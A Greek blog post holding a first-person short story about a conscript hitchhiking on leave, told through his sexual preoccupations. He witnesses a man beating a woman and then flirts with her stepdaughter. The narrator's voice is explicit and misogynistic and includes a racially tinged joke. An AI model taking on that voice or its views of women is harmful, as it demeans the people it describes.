anwnymous

Μαρτίου 26, 2007

Ποιος θυμάται το «ματρά*»;

Filed under: Uncategorized — thelastrealanwnymous @ 1 :23 μμ

*( Ματρά  Σίμκα , σπορ γαλλικό αυτοκίνητο στα τέλη του ’70)       

    «  Είμαι 28 χρονών. Στέκομαι για πρώτη φορά ενώπιον ( τι το θελα τώρα το  «ενώπιον» ). Αρχίζω πάλι. Ατενίζω από αυτό το «ταπεινό» ( καλό το «ταπεινό» ε;  ζητάω την επιείκεια  του αρχάριου)    μπλογκ,   το μεγάλο ψυχαναλυτήριο των μπλόγκερς.             Έχω δει και έχω δοκιμάσει πολλά  ως εδώ . Πρώτη φορά όμως αποφασίζω να μιλήσω για το « μυστικό» που κουβαλάω τα τελευταία χρόνια. Είμαι έτοιμος  να αντιμετωπίσω σχεδόν τα πάντα εκτός από «αυτό».        

      Μπορείς να κερδίσεις ότι θέλεις  σ’ αυτή τη ζωή , μπορείς να πηδήξεις τις ωραιότερες γυναίκες , να αποκτήσεις χρήματα , να φτιάξεις το καλύτερο μπλόγκ, αν όμως  δεν καταφέρεις να λύσεις αυτό το πρόβλημα που εμένα με τρελαίνει , που με κάνει να μη αναγνωρίζω τον εαυτό μου , είσαι ένα μηδενικό και κυρίως δεν είσαι άντρας. Αυτό το «φαλλοκρατικό γουρούνι» που κυκλοφορεί στις πόλεις είτε σαν κακός μπάτσος , είτε σαν άπληστος χρηματιστής , είτε σαν ελεεινός βιαστής , είτε σαν πειθαρχημένος υπαλληλίσκος , κάθε βράδυ βρίσκεται αντιμέτωπο με το πρόβλημα και πρέπει να δώσει τη σωστή απάντηση ,αλλιώς ξαναγίνεται ένα ασήμαντο γλοιώδες σκουλήκι των υπονόμων. »          

    Έχω στο μυαλό μου αυτή την έμμονη ιδέα ότι εκεί που θα πάω θα είναι και πάλι φρίκη. Δεν ξέρω για τους άλλους αλλά εγώ τουλάχιστον δεν τη θέλω αυτή την άδεια και ας είναι μαυρίλα όλα αυτά που συμβαίνουν εδώ μέσα. Το ξέρω πως θα χαλαστώ και ας ακούω χαρούμενες φωνές γύρω μου και ας βλέπω ανθρώπους που σπρώχνονται να πάρουν τα «χαρτάκια» .            Δεν τη γουστάρω την Αθήνα όταν πρέπει να βγω με άλλους τρεις – τέσσερις παλιούς φίλους απ το κολέγιο να πάμε στο σρτιπ-τίζ ,  να πιούμε μέχρι αηδίας , να τρέξουμε με τα αυτοκίνητα μέχρι θανάτου και μετά το βράδυ να στείλουν τις τσόντες τους με μέιλ , με SMS  για να «μπορέσουμε» να κοιμηθούμε ήσυχα .    

        Είχα βάλει στοίχημα με τον εαυτό μου. Δεν θέλω να «την παίξω» , η μαλακία με χαλάει πολύ. Ο άντρας χρειάζεται μια γυναίκα . Δεν γίνεται 24 χρονών να χουμε κοιμηθεί με διάφορες  στο κολέγιο και όλα αυτά τα «πουτανάκια» τώρα ,να σπουδάζουν στο Σίτυ , στο Παρίσι και στη ΝΥ ,να πηδιούνται με τα πιο ωραία κολόπαιδα , να κάνουν νάζια , να ρίχνουν χυλόπιτες , να διασκεδάζουν και εμείς να πήζουμε μέσα στο στρατόπεδο.  Εμείς το φτιάξαμε «το μεγάλο κρεβάτι» του κολεγίου  και δεν μπορούσε να μπει καμία στο κλαμπ αν δεν πλήρωνε «φόρο».            

     Δεν ξέρω πως «λύνεται» αυτό το πρόβλημα .Δεν υπάρχει χειρότερο πράγμα από το να βρεθείς μόνος σου τη νύχτα και να αναγκαστείς «να την παίξεις». Άντεξα 20 ολόκληρες μέρες στο στρατόπεδο. Άντεξα . Και τελικά εκείνο το βράδυ  20 Μαρτίου βγήκα στις 1.30 τη νύχτα και πήγα στις τουαλέτες. Τον κράτησα στο χέρι μου με συγκίνηση ,σαν να τον έσφαζα, σαν να τον θυσίαζα σε μία ύπουλη και ελεεινή θεότητα. Τον έπαιξα και ένοιωσα τις περισσότερες τύψεις που έχω νοιώσει ποτέ. Τύψεις για τη μαγκιά μου , τη προσωπικότητα μου , τον τσαμπουκά μου, τύψεις γι αυτό το ανεξίτηλο κομμάτι του εαυτού μου , το «αντριλίκι»,  που δεν συγκρίνεται με καμία άλλη αξία (γι αυτούς πάντα που ξέρουν τι σημαίνει )  και που μόνο μια πραγματική  γυναίκα , μπορεί να εκτιμήσει.         

     Μου ξέφυγε μια σταγόνα σπέρμα και λέρωσε τη φόρμα . Έπαθα κρίση μέσα στις τουαλέτες του στρατοπέδου Μεσολογγίου. Νόμισα ότι αύριο όλοι θα βλέπουν τη σταγόνα και όλοι θα καταλάβουν ότι πήγα κρυφά και ….              Δεν αντέχω , δεν ανέχομαι τόσο εξευτελισμό. Είμαστε τόσο καιρό  εδώ , χωρίς να δούμε γυναίκα . Από εκείνη τη μέρα (έχουν περάσει άλλες είκοσι μέρες) μέχρι σήμερα υποφέρω. Και το χειρότερο είναι ότι εδώ υπάρχει η δικαιολογία του εγκλεισμού. Αν πάω στην Αθήνα και δεν … τότε τι θα κάνω; Αυτό είναι το χειρότερο μαρτύριο,  αυτή είναι η αγωνία.        

      Βρίσκομαι κάτω από τις λεύκες, στην εθνική οδό και σηκώνω το χέρι μου σε κάθε όχημα που περνάει: φορτηγό , γιώτα χι , νεκροφόρα , οτιδήποτε. Κάνω ανόρεχτα οτοστόπ και δεν με νοιάζει αν θα φθάσω ποτέ. Στα πόδια μου πεταμένο το λουκάνικο*(*μακρόστενο στρατιωτικό σακβουαγιάζ) γεμάτο άπλυτα ρούχα . Μας έχουν δώσει φύλο πορείας για το ΚΤΕΛ . Αν ταξιδέψω μαζί με τους άλλους θα ακούσω τόσες μαλακίες , τόσα ψέματα για τις δίμμετρες που τους περιμένουν εκεί ,που θα γίνω ακόμα χειρότερα . 4 μέρες άδεια ορκωμοσίας έχουμε. Μακάρι να μείνω και τις 4 εδώ στην εθνική και να γυρίσω με τα πόδια στο στρατόπεδο.             Προκαλώ την τύχη μου τώρα. Αυτοί δεν το’ χουν σε τίποτε να με δούνε και να με κουβαλήσουν με τη στρατονομία πίσω και να φάω και μια «εικοσάρα» γιατί απαγορεύεται το οτοστόπ στους στρατιώτες.                   Εγώ εκεί , ξεροκέφαλος. Δεν σταματάει κανείς όμως . Δεν θα πάρει κανείς ένα κολοφάνταρο με το λουκάνικο πεταμένο στα πόδια του. Ας κάνουμε ένα τσιγάρο.Περνάνε , περνάνε , κάποιοι κοιτάζουν το τιποτένιο πλάσμα στην άκρη του δρόμου και κανείς μα κανείς δεν θα σταματήσει εδώ ,έξω από το Μεσολόγγι για μένα.    

         Εγώ βέβαια έχω άλλα βάσανα. Εγώ σκέφτομαι τι θα συμβεί εκεί που θα φτάσω. Ας μη σταματήσει κανείς , στα τέτοια μου . Κι άλλο τσιγάρο τώρα. Κι άλλα αυτοκίνητα περνάνε.             

Βηματίζω πάνω κάτω όπως  στη σκοπιά και τότε ακούω λάστιχα να φρενάρουν και ένα παλιό κόκκινο αυτοκίνητο σταματάει μπροστά μου. Ο οδηγός είναι γυναίκα. Μιλάμε για μια …νταρντάνα , εύσωμη , με στήθος -βαρύ πυροβολικό , με μεγάλο αμερικάνικο χαμόγελο και κάτι χείλη έξτρα-λάρτζ , μου κλείνει το μάτι να ανοίξω τη πόρτα του συνοδηγού . Ανοίγω. «Καλημέρα » μου λέει. «  Αθήνα πας ; » ρωτάει. «Ναι » λέω σχεδόν τρέμοντας . Τότε διαπιστώνω ότι είναι ένα παλιό περίεργο όχημα , κουπέ με τρεις θέσεις μπροστά. Το ξανακοιτάζω  και είναι έτσι. Τρεις θέσεις η μία δίπλα στην άλλη. «Τι είναι αυτό » σκέφτομαι. «Έλα » μου λέει αποφασιστικά και με ένα τρόπο σαν να βιάζεται. Κάθομαι δίπλα της και βάζω το λουκάνικο δεξιά μου ,δίπλα στην πόρτα. «Υπηρετείς εδώ στο Μεσολόγγι ; » μου λέει. «Ναι » λέω αφηρημένα ενώ περιεργάζομαι το σαλόνι. «Είμαι η Ραχήλ » μου λέει. «Στρατιώτης πεζικού Αντώνιος Καράς» παρουσιάζομαι . Χαιρετάω και στρατιωτικά ,για να σπάσω τον πάγο και μετά της δίνω το χέρι μου. Κάτι μου θυμίζει το Ραχήλ από τη βίβλο αλλά δεν ξέρω τι. Έχω ένα  δέος από τις «πυροβολαρχίες» στο στήθος της που ξεχνάω και το θρήσκευμά μου αυτή τη στιγμή. «Που μένεις στην Αθήνα Αντώνη; » « Στο Νέο Ψυχικό» λέω. «Μου αρέσει πολύ η γειτονιά σου, έρχομαι συχνά στο Ντιλς » μου λέει. «Εκεί συχνάζει και ο πατέρας μου» λέω. Είναι το φετίχ των ψαγμένων ΑΕΛΔΕ.* ( *μικρές χρηματιστηριακές εταιρείες.) Ελπίζω να παίρνει καλές πληροφορίες σ’ αυτά τα στέκια.     

      Το πόδι της πατάει το γκάζι με δύναμη. Βλέπω το κοτοπιέ της να τεντώνεται και το αυτοκίνητο να επιταχύνει αφύσικα για την ηλικία του. Την παρατηρώ συνέχεια. Έχω τόσο αιφνιδιαστεί που δεν σκέφτομαι καν την πιθανότητα να την πηδήξω.         Είναι γεροδεμένη γυναίκα , γύρω στα 36 με βαμμένο περιποιημένο μαλλί, φοράει πέδιλα ψηλοτάκουνα, βλέπω τα δάχτυλά της να παίζουν νευρικά δίπλα στα πεντάλ.      

    « Έχω άδεια ορκωμοσίας » λέω , «είναι 4 μέρες… » και δεν ξέρω πως θα πηδήξω  κάποια σαν εσένα … οι σκέψεις μου εισβάλλουν αιφνιδιαστικά  . «Είσαι νεοσύλλεκτος δηλαδή ;» «Ναι » απαντάω και σκέφτομαι αυτό το αφύσικο που μπορεί να σας έχει συμβεί και σας , να ζητάς μια μπριζόλα γιατί πεινάς και μια αόρατη ειρωνική δύναμη που θέλει να παίξει μαζί σου ,να σου πετάει ολόκληρο μπούτι στο κεφάλι. Μιλάμε τώρα για πολλά κυβικά , πολύ πληθωρική γυναίκα , δεν ξέρω αν σκέφτεται αυτό που νομίζω ,  αν έχει καιρό να το κάνει και θέλει ένα φανταράκι που δεν θα σταματάει όλη τη νύχτα.       

     Ακουμπάω τη πλάτη μου πιο χαλαρά πίσω και περιμένω τις εξελίξεις.  Κατηφορίζουμε προς το Αντίρριο. Κάπου στον Εύηνο βλέπω στο πεζοδρόμιο έναν σωματώδη τύπο με κοστούμι γύρω στα 50 να μας κάνει σήμα να σταματήσουμε . Η Ραχήλ φρενάρει και το στομάχι μου σφίγγεται. Εδώ είμαστε λοιπόν. Δεν υπάρχουν θαύματα . Μπορεί να με πήρε για πλάκα , μπορεί να θέλει να τον κάνει να ζηλέψει, μπορεί να είναι από τα βαριεστημένα ζευγάρια που θέλουν τρίτο πρόσωπο για να τη βρουν.   

         «Σε παρακαλώ πέτα το λουκάνικο πίσω , να τον πάρουμε κι αυτόν» μου λέει αποφασιστικά. Το σηκώνω και το βάζω πίσω από τα καθίσματα. Σταματάμε. Ο τύπος ανοίγει την πόρτα και κάθεται δίπλα μου. Είναι εύσωμος , ηλιοκαμένος , έχει φάει τη ζωή με το κουτάλι. «Έχεις και παρέα βλέπω» θα πει ειρωνικά αγνοώντας με . «Τον πήρα από το Μεσολόγγι, …φαντάρος , πηγαίνει  με άδεια στην Αθήνα.» «Τυχερέ…» μου λέει προκλητικά  «…να δεις που μπορεί και να γαμήσεις τελικά » . Και βγάζει ένα τσιγάρο και στραβώνει από μαγκιά , και με γλυκανάλατο ύφος της προσφέρει το πακέτο . «   Ρε Στάθη πάρ’ το γαμώ τη πουτάνα μου, από δω …»  και το σπρώχνει  «… τρέχω σαν ηλίθια να φέρω το αυτοκίνητο και συ τις ίδιες μαλακίες» .    

      Είμαι ανάμεσά τους τώρα. Το έχετε καταλάβει φαντάζομαι. «Τι λέει το όχημα; » αλλάζει θέμα ο Στάθης , σίγουρος ότι την τσάτισε. «Καλό , είναι , η μηχανή τουλάχιστον φαίνεται καλή.» «Και πόσα έδωσες;» «1500 όπως είχαμε πει» «Ωραίο μοντέλο …» άρχισε να μονολογεί ο Στάθης . «Ματρά Σίμκα. Τριθέσιο. Φτιάχτηκε για ωραίους ανθρώπους, όταν η Ευρώπη ήταν παράδεισος. Γυμνισμός, παρτούζες, ελεύθερο σεξ. Το αυτοκίνητο ήταν για έναν άντρα με δύο γκόμενες. Τις έπαιρνε και τις δύο μαζί του. » είπε με προσποιητή μελαγχολία. «…ή  για ένα ζευγάρι με το μωρό τους » είπε η Ραχήλ για να τον βγάλει από την ονείρωξη που έμπαινε. «Ποιος θυμάται το ματρά ; τώρα πια » συνέχισε ο Στάθης .    

     Ένας άντρας με δύο γυναίκες σκέφτηκα. Δεν μπορεί δεν γίνονται αυτά. Κάποια στιγμή θ’ ακούσω τα φρένα και θα με κατεβάσουν ευγενικά και θα συνεχίσω το οτοστόπ.«Εσύ φιλαράκο από πού είσαι;» μου λέει. Τώρα τι να πω; Να φάω στη μάπα το μαλάκα και να περιμένω μήπως μου βγει σε καλό; Να αρχίσω να απαντάω στις ερωτήσεις που κάνει αυτό το αρχίδι και μου θυμίζει τους καραβανάδες εκεί μέσα; «Να κατέβω εγώ…» λέω «…να πείτε και σεις τα δικά σας με την ησυχία σας;» Ο τύπος χαμογελάει σαν να κέρδισε μια μάχη. «Όχι δεν θα πας πουθενά » μου λέει η Ραχήλ και με κρατάει από το μπούτι. Μη με πιάνεις από κει  κυρία μου και έχω και μια «ευαισθησία» στη περιοχή  αυτές τις μέρες. «Υποσχέθηκα να σε πάω στην Αθήνα» λέει με ύφος. «Ααα υποσχέθηκες ; » κάνει ειρωνικά ο Στάθης . «Τι θέλεις ρε μαλάκα » αρχίζει επίθεση ανοιχτά η Ραχήλ, «Δώσε μου τα λεφτά μου και στο Αντίρριο να κατεβείς». «Μη σου γαμήσω …» βρίζει αυτός υπόκωφα , «…μη τα πάρω τώρα γαμημένη»  

        Ήδη πλησιάζουμε στο Αντίρριο και πριν ανεβούμε τη γέφυρα ο Στάθης της δείχνει να στρίψει δεξιά. Σταματάμε σε μια ερημική αποβάθρα χωρίς φέρυ και αυτός ανοίγει την πόρτα και της λέει να κατεβεί. Βγαίνουν και οι δύο από το αυτοκίνητο. Έξω φυσάει και ο αέρας παίρνει το μαλλί της , ανασηκώνει τη φούστα της , φτερουγίζει το κουστούμι αυτουνού, μάλλον δεν θα μπορέσουν να μιλήσουν άνετα. Ελπίζω να της δώσει γρήγορα το χρήμα και να φύγουμε. Αυτός βγάζει το πορτοφόλι του , εκείνη το κοιτάζει , αυτός κάτι λέει , κάποια μαλακία προφανώς ,γιατί την τσατίζει πάλι και τότε τη βλέπω να ουρλιάζει στο πρόσωπό του και τότε αυτός δεν κρατιέται και της φέρνει ένα φούσκο…       Τον κλωτσάει , αυτός προσπαθεί να αμυνθεί και έχει μια τακτική να την χτυπάει ύπουλα ,ενώ υποτίθεται ότι αμύνεται. Δεν ακούω τι λένε , αλλά δεν μπορώ να περιμένω άλλο. Βγαίνω από το αυτοκίνητο και πηγαίνω τρέχοντας κατά πάνω τους. Είναι τόσο απορροφημένοι από τη λύσσα του καυγά τους ,που δεν με βλέπουν και εγώ με τη φόρα που έχω πέφτω πάνω του με το κεφάλι προσπαθώντας να σημαδέψω στο θώρακα. Έχω να κάνω με ένα τέρας εκατό κιλά τουλάχιστον και έχω την εντύπωση ότι προσπάθησα να σπρώξω μία νταλίκα. Κλονίζεται και παραπατάει και τότε η Ραχήλ τον σπρώχνει και πέφτει. Προλαβαίνει όμως να με αρπάξει και παλεύουμε στο έδαφος ενώ εκείνη με κλωτσιές και κλάματα προσπαθεί να μας χωρίσει. «Έχουμε έναν ήρωα εδώ …» φωνάζει αυτός. «……..κολοφάνταρο » ουρλιάζει δίπλα στο αυτί μου  και δίνει τυφλά χτυπήματα. Κάποια στιγμή εκείνη μπαίνει ανάμεσα μας και σταματάμε. «Δώσε τα λεφτά να φύγω…» του λέει. «Είσαι τρελός , είσαι άρρωστος  …» Σηκωθήκαμε. Άνοιξε και πάλι το πορτοφόλι του βρίζοντας. Μέτρησε 1500 Ευρώ. Τα πήρε και τα κράτησε σφιχτά στη χούφτα της. Γυρίσαμε στο αυτοκίνητο και αυτός μας κοίταζε. Μετά προχώρησε αντίθετα για να πάρει το δικό του.    

      Να μετρήσουμε τις απώλειες. Εγώ: Σκισμένο παντελόνι, αίματα στο πρόσωπο, ένα πρησμένο δάχτυλο , δεν πονάω ακόμα γιατί είμαι ζεστός όπως λένε. Η καρδιά μου χτυπάει. Η Ραχήλ: Μαυρισμένο μάτι , κόκκινο μάγουλο από το χαστούκι και πολλά σημάδια κάτω από τα ρούχα που μπορεί να τα δω αν με αφήσει κάποια στιγμή αργότερα να τη γδύσω. Βγάζει από το ντουλαπάκι  ένα ζευγάρι μεγάλα μαύρα γυαλιά και τα φοράει. Ένα δάκρυ κυλάει στο μάγουλό της . Με κοιτάζει. Με πιάνει από τη μέση , πλησιάζει το πρόσωπό της και μου δίνει ένα βιαστικό φιλί. «Σε ευχαριστώ πολύ …» μου λέει. «… αυτός μπορούσε να με σκοτώσει.»           Είναι η πρώτη φορά μετά από 40 μέρες που η αυτοπεποίθησή μου έρχεται στη θέση της. Έχω ανάμικτα συναισθήματα . Ίσως καταφέρω να την πηδήξω αλλά και έτσι όπως είναι τα πράγματα τώρα καλά αισθάνομαι.   

     Και τώρα θα ακούσω την ιστορία της ζωής της. Είναι σε διάσταση με το Στάθη. Βλέπονται ακόμα γιατί κάνουν τη δουλειά μαζί. Βρίσκουν σπάνια μοντέλα παλιών αυτοκινήτων , εκείνη ταξιδεύει στην επαρχία και τα παζαρεύει. Τα φέρνουν στην Αθήνα , τα επισκευάζουν και τα διοχετεύουν σε τρελαμένους συλλέκτες που έχουν το ψώνιο. Αυτός βάζει το κεφάλαιο και συνήθως έρχεται σε επαφή με τον αγοραστή. Πέρυσι πήγαν καλά. έβγαλαν από αυτή την υπόθεση , πουλώντας καμιά δεκαριά αυτοκίνητα γύρω στα 60 χιλιάρικα.          Ο Στάθης έχει μία κόρη από τον προηγούμενο γάμο του. Τη Σίσυ. Θα την παραλάβουμε από τα Γκούντις μόλις περάσουμε απέναντι. Η Ραχήλ τα πάει πολύ καλά με τη Σίσυ. Το πρόβλημα είναι αυτό το αρχίδι που κάθε φορά που συναντιούνται για τη δουλειά ,θυμάται τον παλιό του έρωτα για τη Ραχήλ και ζητάει σεξ.       

     Προσπαθώ να φανταστώ τη Σίσυ. Χαζεύω τη θάλασσα  πάνω από τη γέφυρα. Κάτω από άλλες συνθήκες μπροστά σε ένα τέτοιο μεγαλειώδες έργο θα ένοιωθα μυρμήγκι. Όταν βλέπω έργα άλλων ανθρώπων σε τέτοιες διαστάσεις νομίζω ότι δεν έχει νόημα η ζωή μου. Θέλω να γίνω πολύ σημαντικός μια μέρα , θέλω να κάνω κάτι ξεχωριστό. Φυσικά και δεν ξεχνάω ποτέ το αρχικό πρόβλημα. Δεν ξεχνάω πως ο άντρας πρέπει να χρησιμοποιήσει την εξυπνάδα του, τις ικανότητες του , τη μαγκιά του για να ρίξει μια γυναίκα στο κρεβάτι. Ούτε να τη χτυπάει όπως αυτός ο μαλάκας όταν δεν του κάθεται. Ούτε οι πουτάνες μου αρέσουν. Είναι σαν να πας στο σούπερ-μάρκετ και να πεις «Μου βάζετε ένα κιλό μουνί , σας παρακαλώ . Θα ήθελα να πηδήξω σήμερα.» «Από μικρό θέλω να μου διαλέξετε και χωρίς πολλά λίπη»

    

       Νομίζω πως αυτό είναι το σημαντικό. Να έχεις μία σωστή γυναίκα δίπλα σου , να ψάχνεις  τον τρόπο να τη κάνεις να μη ξεκολλάει από σένα . Δεν αρκεί η αγάπη. Η αγάπη είναι ένας  μπακλαβάς με πολύ σιρόπι ,που κάποτε σε λιγώνει. Πρέπει να χρησιμοποιείς τη νοημοσύνη σου και για τη γυναίκα . Δεν αρκούν οι εύκολες λύσεις με δωράκια , φιλάκια και διακοπούλες. Θέλει μυαλό το πράγμα και αυτό το διαθέτουν λίγοι και αυτοί περνάνε  καλά . Οι άλλοι είναι καταδικασμένοι να υποφέρουν.   

         Φθάνουμε στα Γκούντις. Η Σίσυ ανυπόμονη κάνει βόλτες στο πάρκινγκ . Γυρίζει , μας κοιτάζει και είναι το πιο όμορφο μπουμπούκι που έχω δει. Λεπτή , σκούρο μαλλί, γαλάζιο μάτι, πάνω από 170, φοράει μαύρα ρούχα , στενό παντελόνι. Σταματάμε . Κάνει σαν τρελή μόλις βλέπει τη Ραχήλ να κατεβαίνει από το αυτοκίνητο. Πέφτει στην αγκαλιά της .  Κάποια στιγμή βγάζει τα γυαλιά της και τότε βλέπει το μάτι της. Βγαίνω και εγώ να «ξεμουδιάσω» , δεν είμαι μουδιασμένος, βγαίνω να τη θαυμάσω. Η Ραχήλ της λέει: « Ο Αντώνης. Αυτός με γλίτωσε από τα χέρια του πατέρα σου» με περιεργάζεται πριν μου μιλήσει και ευτυχώς που δεν φαίνεται «η σταγόνα» σκέφτομαι εγώ. «Είμαι η Σίσυ» μου λέει και δεν τραβάει το βλέμμα της. Η Ραχήλ ρωτάει αν θέλουμε να φάμε τίποτε. Δεν μιλάω. Δεν πεινάει κανείς.    

        Μπαίνουμε στο αυτοκίνητο. Η Σίσυ κάθεται στη θέση μου. Είμαι  στο παράθυρο και μου αρέσει γιατί με μία ματιά τις βλέπω και τις δύο. Μιλάνε σαν να έχουν πολύ καιρό να ιδωθούν. Το αυτοκίνητο κινείται και πάλι στην εθνική Πάτρα –Αθήνα. Κοιτάζω τις δύο γυναίκες και σκέφτομαι τα λόγια του Στάθη. «Αυτοκίνητο για έναν άντρα και δύο γυναίκες»             Θα μιλήσω σαν πολιτικός τώρα. «Έχω ένα όραμα » το είπε ο Μάρτιν Λούθερ Κινγκ. Έχω ένα όραμα λοιπόν, κάθε λευκός άντρας αυτής της χώρας να έχει κάποια μέρα ένα «ματρά» με δύο γυναίκες μέσα . Χμμμμ !!  …το είπα κάπως ρατσιστικά. Συμπληρώνω λοιπόν …και κάθε έγχρωμος  που ζει εδώ ,να μπορεί να έχει μια λιμουζίνα με ένα χαρέμι μέσα της. Ωραία !!έχω συμπεριλάβει και το Ισλάμ.     

        Το αμάξι κινείται απαλά στην άσφαλτο. Οι βελούδινες ρόδες του τρίβονται πάνω στα χιλιόμετρα δρόμου για να με φέρουν πιο κοντά στο όνειρο. Δύο γοητευτικές γυναίκες ψιθυρίζουν δίπλα μου γλυκά , τα δικά τους. Μία φορά στο κολέγιο ξάπλωσα με δύο γυναίκες. Αν είναι όλοι φτιαγμένοι , δεν κολλάει πουθενά η φάση , τα κορμιά γλιστράνε και οι αντιστάσεις πέφτουν. Αν σε γουστάρουν πολύ και οι δύο , μπορεί να γίνει αλλά είναι κάπως σαν παιχνίδι μεταξύ τους. Τα πηδήματα στο κολέγιο ήταν σαν παιχνίδια . Διαβάζουμε και το κάνουμε. Τρώμε πίτσα και το κάνουμε. Βλέπουμε ντιβιντι και το κάνουμε. Γυρνάμε από το μάθημα  και ρίχνουμε ένα γρήγορο. Ξαπλώνεις με ένα κορίτσι και σου χτυπάει την πόρτα μια άλλη. Σηκώνεσαι γυμνός και ανοίγεις για να της δείξεις ότι πρέπει να περιμένει.    

           Νομίζω πως με πήρε ο ύπνος. Ξύπνησα από τη διαφωνία τους αν θα μείνουμε για λίγες ώρες στο εξοχικό τους στο Αίγιο ή αν θα πάμε κατευθείαν Αθήνα. Η Ραχήλ βιάζεται. Σταμάτησε για χάρη της μικρής. Ανοίγω τα μάτια και βλέπω τον κήπο με τα κίτρινα τριαντάφυλλα. Το σπίτι βαμμένο ώχρα με γαλάζια σχεδόν τιρκουάζ  παράθυρα. Βρισκόμαστε πολύ κοντά στο νερό. Συμπαθητικό μέρος. Κατεβαίνω. Βγαίνει και η Σίσυ.  Με παίρνει από το χέρι : «Έλα να σου δείξω το σπίτι.» περνάμε την εξώπορτα. Μιλάμε για πάρα πολλά κίτρινα τριαντάφυλλα στον κήπο. «Έχουν θετική ενέργεια » μου λέει και χαϊδεύει ένα από αυτά. Κάνουμε βόλτες γύρω από το σπίτι. Η Ραχήλ θα μπει να κάνει ένα μπάνιο. Το σπίτι έχει ζεστό νερό όλο το 24ωρο. Μπαίνουμε και εμείς μέσα.. Γύρω μου άνετοι χώροι και καλοκαιρινά έπιπλα. Οι τοίχοι έχουν ένα απαλό κίτρινο χρώμα. Οθόνες αντί για κουρτίνες και πλούσιο λευκό φως μόλις ανοίξουν τα παντζούρια. Το σπίτι έχει το άρωμα της Σίσυς. Θέλω και εγώ να κάνω ένα μπάνιο. Να ξεκολλήσω τη «φανταρίλα» από πάνω μου.    

          Μιλάμε με τη Σίσυ. Πηγαίνει στα ίδια κλαμπ στην Αθήνα. Ξενυχτάει όσο και εγώ. Σκέφτομαι πως θα χειριστώ την κατάσταση. Ελπίζω να μη κάνω καμία γκάφα και τα χάσω όλα την τελευταία στιγμή.              Με ρωτάει αν θέλω καφέ. Ένα φραπέ είναι ιδανικό αυτή τη στιγμή. Μου φέρνει ένα σπέσιαλ σε μεγάλο ποτήρι με κίτρινο καλαμάκι. Ζητάω ένα σφηνάκι ουίσκι για να «λαδώσω» τις μηχανές . Το σπίτι είναι οργανωμένο. Μου φέρνει ένα «τζόνυ» και το ρίχνω στο καφέ. Πίνω μερικές γουλιές. Είμαι θεός τώρα σας λέω. Δεν φοβάμαι τίποτε πια , δεν ανησυχώ για τίποτε. Η Ραχήλ βγαίνει από το μπάνιο. Φοράει κίτρινο μπουρνούζι και το μαλλί της βρεγμένο στάζει μικρές σταγονίτσες στους ώμους της. Το μάτι της τώρα φαίνεται περισσότερο μαυρισμένο αλλά δεν κάνει καμία προσπάθεια να το κρύψει από μας.     

         Πίνω μερικές γουλιές ακόμα. Καθόμαστε και οι τρεις και μιλάμε. Τα πράγματα θα ήταν πολύ καλύτερα αν ο Στάθης με την συμπεριφορά του δεν δημιουργούσε προβλήματα. Η Ραχήλ λέει ξεκάθαρα πως δεν τον εμπιστεύεται , γιατί φοβάται πως μπορεί να πηδάει οιαδήποτε πόρνη που θα βρεθεί στο δρόμο του . Ο Στάθης κινείται πήγαινε –έλα   ανάμεσα στα δύο καζίνο του Ρίο και του Λουτρακίου. Τρώει το μερίδιο του από τη δουλειά στο τζόγο και δεν μπορεί να φροντίσει ούτε για τις σπουδές της κόρης του. Η Σίσυ σπουδάζει ντιζάιν στη Ιταλία.    

          Λέω να κάνω και εγώ ένα μπανάκι. Μπαίνω στο μπάνιο και χτυπάει το κινητό μου. «Έλα σκατιάρη », ακούω μια γνώριμη φωνή. «Τι κάνεις αρχιδάκι » λέω στον συγκάτοικό μου από το κολέγιο. «Που είσαι , δεν πήρες άδεια εσύ;» «Θα πάρω την άλλη βδομάδα » «Μα όλοι πήραν , θα βρεθούμε απόψε … δεν θα είσαι και εσύ; » «Την άλλη βδομάδα …» ξαναλέω. «Δεν πιστεύω να έμπλεξες με κανένα τραβεστί από αυτά που συχνάζουν έξω από το στρατόπεδο. Ξέρεις απ’ αυτούς με μεγάλα βυζιά και μίνι φούστα, που ψάχνουν φανταρίστικο πήδημα » Τι θέλει τώρα ο μαλάκας. «Μίλα σκατιάρη , εσένα ρωτάω.» Είμαστε όλη η παρέα σκατιάρηδων. Το επινοήσαμε για να μη φοβόμαστε τίποτε. Ποιος χέζεται να πάει να μιλήσει Τζιώρτζια που βρίζει σαν λιμενεργάτης; Ποιος κωλώνει να κλέψει τα κλειδιά από το γυμναστήριο; Ποιος σκατιάρης θα φέρει εδώ ένα ιδρωμένο στριγκάκι της γυμνάστριας;. Ποιος σκατιάρης φοβάται να το μυρίσει; Αυτοί είμαστε οι σκατιάρηδες  (πολύ τρυφερό επίθετο) στο κολέγιο και δεν έπρεπε να φοβόμαστε ποτέ.         «Να σου πω ,δεν μπορώ να σου μιλήσω τώρα , πάρε αργότερα.» «Σε έκοψα στη μέση μωρό μου ; Μίλα σκατιάρη γιατί δεν μιλάς; Τι έκανες , πηδούσες τώρα ; Τι έκανες;»  «Θα κλείσω και θα μιλήσουμε μετά» λέω. «Καλά , καλά , λοιπόν καλά πηδήματα σκατιάρη , κι αν δεν στείλεις βιντεάκι θα είσαι προδότης.»Μπαίνω κάτω από το ντους. Χαλαρώνω. Ξεδιπλώνω το σώμα μου από το σφίξιμο 40 ημερών. Δίνω τις τελευταίες οδηγίες στο πουλί μου. «Φίλε να είσαι σε ετοιμότητα» του λέω. Μετά αφήνομαι κάτω από το νερό για ώρα.   

      Βρίσκω κρεμασμένο ένα κίτρινο μπουρνούζι. Το φοράω και βγαίνω. Η Ραχήλ είναι στο δωμάτιο της. Η Σίσυ κοιτάζει πίσω από το τζάμι τα κύματα. Πηγαίνω δίπλα της και τη ρωτάω για το κίτρινο χρώμα. Το λατρεύει μου λέει. Την αγγίζω στην πλάτη με το παγωμένο από το ντους χέρι μου και ανατριχιάζει. «Πόσο καιρό θα είσαι εκεί ;» ρωτάει και εννοεί το Μεσολόγγι. «Μία ή δύο εβδομάδες.» λέω. «…και μετά ;» «Μετά Έβρο , νησιά , ποιος ξέρει που ;» «Έτσι κοιτάς πάντα μέσα στα μάτια ;» ρωτάει. Έχω βρει τον παλιό μου εαυτό μάγκες . Από εδώ και πέρα πιστεύω ότι η Σίσυ είναι δική μου απόψε. Ο απογοητευμένος σκατιάρης μέσα μου ετοιμάζεται. Ετοιμάζεται να πλαγιάσει στο «μεγάλο κρεβάτι».  «Ναι » λέω «… έτσι κοιτάζω και σε σένα μου αρέσουν και τα μαλλιά σου …» και απλώνω το χέρι μου και τα χαϊδεύω «… και το στόμα …» και της αγγίζω το στόμα με τον αντίχειρα και σκύβω για να τη φιλήσω.      

